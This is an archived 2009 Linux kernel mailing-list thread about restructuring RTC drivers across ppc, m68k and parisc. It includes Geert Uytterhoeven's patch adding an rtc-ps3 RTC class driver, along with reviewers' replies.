From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Mon, 23 Feb 2009 16:05:06 +0100
Organization: Tower Technologies
Lines: 46
Approved: news@gmane.org
Message-ID: <20090223160506.04e347c7@i1501.lan.towertech.it>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090220170454.04382e9e@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235401703 8824 80.91.229.12 (23 Feb 2009 15:08:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Feb 2009 15:08:23 +0000 (UTC)
Cc: Richard Zidlicky <rz@linux-m68k.org>, linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Geert.Uytterhoeven@sonycom.com, Woodhouse <dwmw2@infradead.org>
To: rtc-linux@googlegroups.com
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org Mon Feb 23 16:09:36 2009
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LbcR2-0005Ud-2T
	for glppe-linuxppc-embedded-2@m.gmane.org; Mon, 23 Feb 2009 16:09:32 +0100
Original-Received: from ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id CFAF3DDF5F
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Tue, 24 Feb 2009 02:08:07 +1100 (EST)
X-Original-To: linuxppc-dev@ozlabs.org
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from mx0.towertech.it (mx0.towertech.it [213.215.222.73])
	by ozlabs.org (Postfix) with SMTP id B156FDDEF1
	for <linuxppc-dev@ozlabs.org>; Tue, 24 Feb 2009 02:05:17 +1100 (EST)
Original-Received: (qmail 20830 invoked from network); 23 Feb 2009 16:05:07 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
	by mx0.towertech.it with SMTP; 23 Feb 2009 16:05:07 +0100
In-Reply-To: <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
X-BeenThere: linuxppc-dev@ozlabs.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.ozlabs.org>
List-Unsubscribe: <https://ozlabs.org/mailman/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=unsubscribe>
List-Archive: <http://ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@ozlabs.org?subject=help>
List-Subscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:21315 gmane.linux.ports.parisc:1309 gmane.linux.kernel:798313
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1309>

On Mon, 23 Feb 2009 13:34:49 +0100 (CET)
Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:

> >  Hello,
> > 
> >    my opinion on this kind of stuff is that I want to avoid the layering
> >  of implementations under the rtc subsystem. I'd rather prefer that each
> >  rtc device had its own driver. 
> >  
> >   I've made error in the past, by accepting such kind of drivers, and
> >  would like to avoid that it happens again.
> 
> So you want us to kill the ppc_md.[gs]et_rtc_time() [ppc], mach_hwclk() [m68k],
> mach_gettod() [m68knommu] (and probably a few other) abstractions, and move all
> RTC code out of arch/ into seperate drivers under drivers/rtc/ instead?

 not all at once :) 

 I'd start writing a working driver and then see how we should eventually
 adapt the rtc subsystem to cope with your needs.
 
> What about ppc_md.get_boot_time() [ppc]?
> Please note that the functions above may also be used for very early clock
> setting (e.g. time_init()) and in read_persistent_clock().
> How should we handle these?

 read_persistent_clock is something that should be reconsidered
 as well along with all the ntp stuff.

> Even on x86 there seems to be way too much RTC logic in arch/x86/kernel/rtc.c

> (e.g. mach_get_cmos_time()), which is duplicated in drivers/rtc/rtc-cmos.c
> through the inline function __get_rtc_time() in include/asm-generic/rtc.h
> (clever, hardware-specific stuff in asm-generic ;-)

 yep, I know :( that hardcoded rtc stuff seems to be everywhere!


-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

From - Thu Nov 08 21:03:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Tue, 24 Feb 2009 18:56:03 +0100 (CET)
Lines: 332
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0902241848500.544@vixen.sonytel.be>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <20090220170454.04382e9e@i1501.lan.towertech.it> <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be> <20090223160506.04e347c7@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1235498228 28097 80.91.229.12 (24 Feb 2009 17:57:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Feb 2009 17:57:08 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Woodhouse <dwmw2@infradead.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1759176AbZBXR4c@vger.kernel.org Tue Feb 24 18:58:22 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1759176AbZBXR4c@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lc1Xf-0005ZF-GQ
	for glk-linux-kernel-3@gmane.org; Tue, 24 Feb 2009 18:58:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759176AbZBXR4c convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 24 Feb 2009 12:56:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758818AbZBXR4R
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 24 Feb 2009 12:56:17 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:44303 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1756510AbZBXR4O (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 24 Feb 2009 12:56:14 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 03EE558ABD;
	Tue, 24 Feb 2009 18:56:04 +0100 (MET)
In-Reply-To: <20090223160506.04e347c7@i1501.lan.towertech.it>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:798893 gmane.linux.ports.parisc:1310 gmane.linux.ports.ppc64.devel:52853
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1310>

On Mon, 23 Feb 2009, Alessandro Zummo wrote:
> On Mon, 23 Feb 2009 13:34:49 +0100 (CET)
> Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
> > >    my opinion on this kind of stuff is that I want to avoid the l=
ayering
> > >  of implementations under the rtc subsystem. I'd rather prefer th=
at each
> > >  rtc device had its own driver.=20
> > > =20
> > >   I've made error in the past, by accepting such kind of drivers,=
 and
> > >  would like to avoid that it happens again.
> >=20
> > So you want us to kill the ppc_md.[gs]et_rtc_time() [ppc], mach_hwc=
lk() [m68k],
> > mach_gettod() [m68knommu] (and probably a few other) abstractions, =
and move all
> > RTC code out of arch/ into seperate drivers under drivers/rtc/ inst=
ead?
>=20
>  not all at once :)=20
>=20
>  I'd start writing a working driver and then see how we should eventu=
ally
>  adapt the rtc subsystem to cope with your needs.

OK, so here's a first example: rtc-ps3.

Note that this single patch adds 100+ lines of code, while my previous =
patch
series removed 500+ lines of code, while solving the autoloading proble=
m for
several ppc and m68k platforms.

Converting all (ca. 20?) ppc and m68k RTC support code into individual =
RTC
class drivers would add ca. 100+ lines of code for each individual driv=
er.

=46rom 641412e4e638d00c8821c2d9b38e02727821a203 Mon Sep 17 00:00:00 200=
1
=46rom: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Date: Tue, 24 Feb 2009 14:04:20 +0100
Subject: [PATCH] Create a real RTC driver for PS3, called "rtc-ps3"

---
 arch/powerpc/include/asm/ps3.h        |    4 +
 arch/powerpc/platforms/ps3/os-area.c  |    2 +
 arch/powerpc/platforms/ps3/platform.h |    2 -
 arch/powerpc/platforms/ps3/setup.c    |    2 -
 arch/powerpc/platforms/ps3/time.c     |   25 ++++----
 drivers/rtc/Kconfig                   |    9 +++
 drivers/rtc/Makefile                  |    1 +
 drivers/rtc/rtc-ps3.c                 |  106 +++++++++++++++++++++++++=
++++++++
 8 files changed, 133 insertions(+), 18 deletions(-)
 create mode 100644 drivers/rtc/rtc-ps3.c

diff --git a/arch/powerpc/include/asm/ps3.h b/arch/powerpc/include/asm/=
ps3.h
index b65446a..dee0480 100644
--- a/arch/powerpc/include/asm/ps3.h
+++ b/arch/powerpc/include/asm/ps3.h
@@ -500,6 +500,10 @@ u64 ps3_get_spe_id(void *arg);
 /* mutex synchronizing GPU accesses and video mode changes */
 extern struct mutex ps3_gpu_mutex;
=20
+/* os area */
+u64 ps3_os_area_get_rtc_diff(void);
+void ps3_os_area_set_rtc_diff(u64 rtc_diff);
+
 /* kernel debug routines */
=20
 int ps3_debug_setup_dabr(u64 address, unsigned int dabr_flags);
diff --git a/arch/powerpc/platforms/ps3/os-area.c b/arch/powerpc/platfo=
rms/ps3/os-area.c
index ccf0157..f1f2d47 100644
--- a/arch/powerpc/platforms/ps3/os-area.c
+++ b/arch/powerpc/platforms/ps3/os-area.c
@@ -823,6 +823,7 @@ u64 ps3_os_area_get_rtc_diff(void)
 {
 	return saved_params.rtc_diff;
 }
+EXPORT_SYMBOL(ps3_os_area_get_rtc_diff);
=20
 /**
  * ps3_os_area_set_rtc_diff - Set the rtc diff value.
@@ -838,6 +839,7 @@ void ps3_os_area_set_rtc_diff(u64 rtc_diff)
 		os_area_queue_work();
 	}
 }
+EXPORT_SYMBOL(ps3_os_area_set_rtc_diff);
=20
 /**
  * ps3_os_area_get_av_multi_out - Returns the default video mode.
diff --git a/arch/powerpc/platforms/ps3/platform.h b/arch/powerpc/platf=
orms/ps3/platform.h
index 235c13e..136aa06 100644
--- a/arch/powerpc/platforms/ps3/platform.h
+++ b/arch/powerpc/platforms/ps3/platform.h
@@ -64,8 +64,6 @@ int ps3_set_rtc_time(struct rtc_time *time);
=20
 void __init ps3_os_area_save_params(void);
 void __init ps3_os_area_init(void);
-u64 ps3_os_area_get_rtc_diff(void);
-void ps3_os_area_set_rtc_diff(u64 rtc_diff);
=20
 /* spu */
=20
diff --git a/arch/powerpc/platforms/ps3/setup.c b/arch/powerpc/platform=
s/ps3/setup.c
index e2032c6..020ba1d 100644
--- a/arch/powerpc/platforms/ps3/setup.c
+++ b/arch/powerpc/platforms/ps3/setup.c
@@ -300,8 +300,6 @@ define_machine(ps3) {
 	.init_IRQ			=3D ps3_init_IRQ,
 	.panic				=3D ps3_panic,
 	.get_boot_time			=3D ps3_get_boot_time,
-	.set_rtc_time			=3D ps3_set_rtc_time,
-	.get_rtc_time			=3D ps3_get_rtc_time,
 	.set_dabr			=3D ps3_set_dabr,
 	.calibrate_decr			=3D ps3_calibrate_decr,
 	.progress			=3D ps3_progress,
diff --git a/arch/powerpc/platforms/ps3/time.c b/arch/powerpc/platforms=
/ps3/time.c
index d0daf7d..112397d 100644
--- a/arch/powerpc/platforms/ps3/time.c
+++ b/arch/powerpc/platforms/ps3/time.c
@@ -19,6 +19,7 @@
  */
=20
 #include <linux/kernel.h>
+#include <linux/platform_device.h>
=20
 #include <asm/rtc.h>
 #include <asm/lv1call.h>
@@ -74,23 +75,19 @@ static u64 read_rtc(void)
 	return rtc_val;
 }
=20
-int ps3_set_rtc_time(struct rtc_time *tm)
+unsigned long __init ps3_get_boot_time(void)
 {
-	u64 now =3D mktime(tm->tm_year + 1900, tm->tm_mon + 1, tm->tm_mday,
-		tm->tm_hour, tm->tm_min, tm->tm_sec);
-
-	ps3_os_area_set_rtc_diff(now - read_rtc());
-	return 0;
+	return read_rtc() + ps3_os_area_get_rtc_diff();
 }
=20
-void ps3_get_rtc_time(struct rtc_time *tm)
-{
-	to_tm(read_rtc() + ps3_os_area_get_rtc_diff(), tm);
-	tm->tm_year -=3D 1900;
-	tm->tm_mon -=3D 1;
-}
+static struct platform_device rtc_ps3_dev =3D {
+	.name =3D "rtc-ps3",
+	.id =3D -1,
+};
=20
-unsigned long __init ps3_get_boot_time(void)
+static int __init rtc_init(void)
 {
-	return read_rtc() + ps3_os_area_get_rtc_diff();
+	return platform_device_register(&rtc_ps3_dev);
 }
+
+module_init(rtc_init);
diff --git a/drivers/rtc/Kconfig b/drivers/rtc/Kconfig
index 81450fb..4b61288 100644
--- a/drivers/rtc/Kconfig
+++ b/drivers/rtc/Kconfig
@@ -736,4 +736,13 @@ config RTC_DRV_MV
 	  This driver can also be built as a module. If so, the module
 	  will be called rtc-mv.
=20
+config RTC_DRV_PS3
+	tristate "PS3 RTC"
+	depends on PPC_PS3
+	help
+	  If you say yes here you will get support for the RTC on PS3.
+
+	  This driver can also be built as a module. If so, the module
+	  will be called rtc-ps3.
+
 endif # RTC_CLASS
diff --git a/drivers/rtc/Makefile b/drivers/rtc/Makefile
index 0e697aa..7fe627c 100644
--- a/drivers/rtc/Makefile
+++ b/drivers/rtc/Makefile
@@ -76,3 +76,4 @@ obj-$(CONFIG_RTC_DRV_VR41XX)	+=3D rtc-vr41xx.o
 obj-$(CONFIG_RTC_DRV_WM8350)	+=3D rtc-wm8350.o
 obj-$(CONFIG_RTC_DRV_X1205)	+=3D rtc-x1205.o
 obj-$(CONFIG_RTC_DRV_PCF50633)	+=3D rtc-pcf50633.o
+obj-$(CONFIG_RTC_DRV_PS3)	+=3D rtc-ps3.o
diff --git a/drivers/rtc/rtc-ps3.c b/drivers/rtc/rtc-ps3.c
new file mode 100644
index 0000000..84ae08c
--- /dev/null
+++ b/drivers/rtc/rtc-ps3.c
@@ -0,0 +1,106 @@
+/*
+ * PS3 RTC Driver
+ *
+ * Copyright 2009 Sony Corporation
+ *
+ * This program is free software; you can redistribute it and/or modif=
y
+ * it under the terms of the GNU General Public License as published b=
y
+ * the Free Software Foundation; version 2 of the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
+ * If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/platform_device.h>
+#include <linux/rtc.h>
+
+#include <asm/lv1call.h>
+#include <asm/ps3.h>
+
+
+static u64 read_rtc(void)
+{
+	int result;
+	u64 rtc_val;
+	u64 tb_val;
+
+	result =3D lv1_get_rtc(&rtc_val, &tb_val);
+	BUG_ON(result);
+
+	return rtc_val;
+}
+
+static int ps3_get_time(struct device *dev, struct rtc_time *tm)
+{
+	to_tm(read_rtc() + ps3_os_area_get_rtc_diff(), tm);
+	tm->tm_year -=3D 1900;
+	tm->tm_mon -=3D 1;
+	return 0;
+}
+
+static int ps3_set_time(struct device *dev, struct rtc_time *tm)
+{
+	u64 now =3D mktime(tm->tm_year + 1900, tm->tm_mon + 1, tm->tm_mday,
+			 tm->tm_hour, tm->tm_min, tm->tm_sec);
+	ps3_os_area_set_rtc_diff(now - read_rtc());
+	return 0;
+}
+
+static const struct rtc_class_ops ps3_rtc_ops =3D {
+	.read_time =3D ps3_get_time,
+	.set_time =3D ps3_set_time,
+};
+
+static int __devinit ps3_rtc_probe(struct platform_device *dev)
+{
+	struct rtc_device *rtc;
+
+	rtc =3D rtc_device_register("rtc-ps3", &dev->dev, &ps3_rtc_ops,
+				     THIS_MODULE);
+	if (IS_ERR(rtc))
+		return PTR_ERR(rtc);
+
+	platform_set_drvdata(dev, rtc);
+	return 0;
+}
+
+static int __devexit ps3_rtc_remove(struct platform_device *dev)
+{
+	rtc_device_unregister(platform_get_drvdata(dev));
+	return 0;
+}
+
+static struct platform_driver ps3_rtc_driver =3D {
+	.driver =3D {
+		.name =3D "rtc-ps3",
+		.owner =3D THIS_MODULE,
+	},
+	.probe =3D ps3_rtc_probe,
+	.remove =3D __devexit_p(ps3_rtc_remove),
+};
+
+static int __init ps3_rtc_init(void)
+{
+	return platform_driver_register(&ps3_rtc_driver);
+}
+
+static void __exit ps3_rtc_fini(void)
+{
+	platform_driver_unregister(&ps3_rtc_driver);
+}
+
+module_init(ps3_rtc_init);
+module_exit(ps3_rtc_fini);
+
+MODULE_AUTHOR("Sony Corporation");
+MODULE_LICENSE("GPL");
+MODULE_DESCRIPTION("ps3 RTC driver");
+MODULE_ALIAS("platform:rtc-ps3");
--=20
1.6.0.4


With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010

From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Tue, 24 Feb 2009 19:37:08 +0100
Organization: Tower Technologies
Lines: 40
Approved: news@gmane.org
Message-ID: <20090224193708.5f8be86c@i1501.lan.towertech.it>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090220170454.04382e9e@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
	<20090223160506.04e347c7@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902241848500.544@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235500650 6298 80.91.229.12 (24 Feb 2009 18:37:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Feb 2009 18:37:30 +0000 (UTC)
Cc: Geert.Uytterhoeven@sonycom.com,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Woodhouse <dwmw2@infradead.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: rtc-linux@googlegroups.com
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Feb 24 19:38:43 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lc2B0-0005kF-AT
	for glpm-linux-m68k@gmane.org; Tue, 24 Feb 2009 19:38:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751777AbZBXShU (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 24 Feb 2009 13:37:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751828AbZBXShU
	(ORCPT <rfc822;linux-m68k-outgoing>);
	Tue, 24 Feb 2009 13:37:20 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:53818 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751777AbZBXShS (ORCPT <rfc822;linux-m68k@vger.kernel.org>);
	Tue, 24 Feb 2009 13:37:18 -0500
Original-Received: (qmail 29312 invoked from network); 24 Feb 2009 19:37:09 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 24 Feb 2009 19:37:09 +0100
In-Reply-To: <alpine.LRH.2.00.0902241848500.544@vixen.sonytel.be>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:474 gmane.linux.ports.parisc:1311 gmane.linux.kernel:798904 gmane.linux.ports.ppc64.devel:52855
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1311>

On Tue, 24 Feb 2009 18:56:03 +0100 (CET)
Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:

> 
> On Mon, 23
> > 
> >  I'd start writing a working driver and then see how we should eventually
> >  adapt the rtc subsystem to cope with your needs.
> 
> OK, so here's a first example: rtc-ps3.
> 
> Note that this single patch adds 100+ lines of code, while my previous patch
> series removed 500+ lines of code, while solving the autoloading problem for
> several ppc and m68k platforms.

 This patch has a much cleaner approach, imho.

> Converting all (ca. 20?) ppc and m68k RTC support code into individual RTC
> class drivers would add ca. 100+ lines of code for each individual driver.



 How different are all of those boards? It's simply a matter
 of parameters and offsets? can we group them somehow?

 
-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Tue, 24 Feb 2009 19:46:07 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <49A4406F.2010407@gmx.de>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235501190 8528 80.91.229.12 (24 Feb 2009 18:46:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Feb 2009 18:46:30 +0000 (UTC)
Cc: Alessandro Zummo <a.zummo@towertech.it>,
	rtc-linux@googlegroups.com, Kyle McMartin <kyle@mcmartin.ca>,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@lists.linux-m68k.org, linux-kernel@vger.kernel.org,
	dann frazier <dannf@dannf.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 24 19:47:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lc2Jk-0001Mt-C4
	for glpp-linux-parisc@gmane.org; Tue, 24 Feb 2009 19:47:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751471AbZBXSqV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Feb 2009 13:46:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752550AbZBXSqV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 24 Feb 2009 13:46:21 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:34386 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750716AbZBXSqU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Feb 2009 13:46:20 -0500
Original-Received: (qmail invoked by alias); 24 Feb 2009 18:46:16 -0000
Original-Received: from mnhm-590f7ab6.pool.einsundeins.de (EHLO halden.box) [89.15.122.182]
  by mail.gmx.net (mp038) with SMTP; 24 Feb 2009 19:46:16 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18Vyks2t9wV0u5qx2yYwUz2oSJckgDficJDWGwG2s
	kdyHFwIQndtPdG
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.52
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1312 gmane.linux.ports.ppc64.devel:52856 gmane.linux.kernel:798907
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1312>

Geert Uytterhoeven wrote:
> I've been looking into problems with auto-loading the RTC driver on PPC (more
> specifically on PS3):
>   - The recent "rtc-ppc" RTC class driver is not autoloaded by udev because
>     it's an old style platform driver that contains its own platform device.
>   - The alternative old "genrtc" driver is autoloaded on non-udev systems only
>     because it contains the module alias char-major-10-135. However, it's not
>     a new-style RTC class driver.
> 
> Fortunately there already exists a generic RTC class driver: "rtc-parisc".
> Despite it's name, it's platform-independent, as it's build on top of the RTC
> abstraction used by "genrtc".
> 
> This patch series
>   - adds a missing module alias to rtc-parisc,
>   - renames rtc-parisc to rtc-generic,
>   - converts the architectures that currently have CONFIG_GEN_RTC enabled in
>     their defconfig (m68k, parisc, powerpc) to rtc-generic,
>   - removes the obsolete rtc-ppc driver,
>   - removes the old genrtc driver.
>   
> Note that genrtc may be used on other archictectures as well: at least alpha
> has the required infrastructure ([gs]et_rtc_time()). The Kconfig rules allow
> genrtc to be enabled on several others (cris, h8300, mn10300, um, x86, xtensa).
> 
> Furthermore genrtc and rtc-generic are not 100% userspace compatible:
>   - /dev/rtc provided by genrtc uses a misc character device (10:135),
>   - /dev/rtc provided by rtc-generic uses a dynamic character device.
>   
> So perhaps we don't want to kill gen-rtc yet?
> 
> Any comments are welcomed!

Hi Geert,
FYI, I didn't followed any discussions or changes around the RTC drivers for parisc,
but Dann Frazier did some work on the parisc RTC driver as well.
His patches were merged (not upstream yet!) in Kyle's "rtc-parisc" branch at:
http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=shortlog;h=rtc-parisc

Not sure if they conflict (or are in sync) with your patches...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
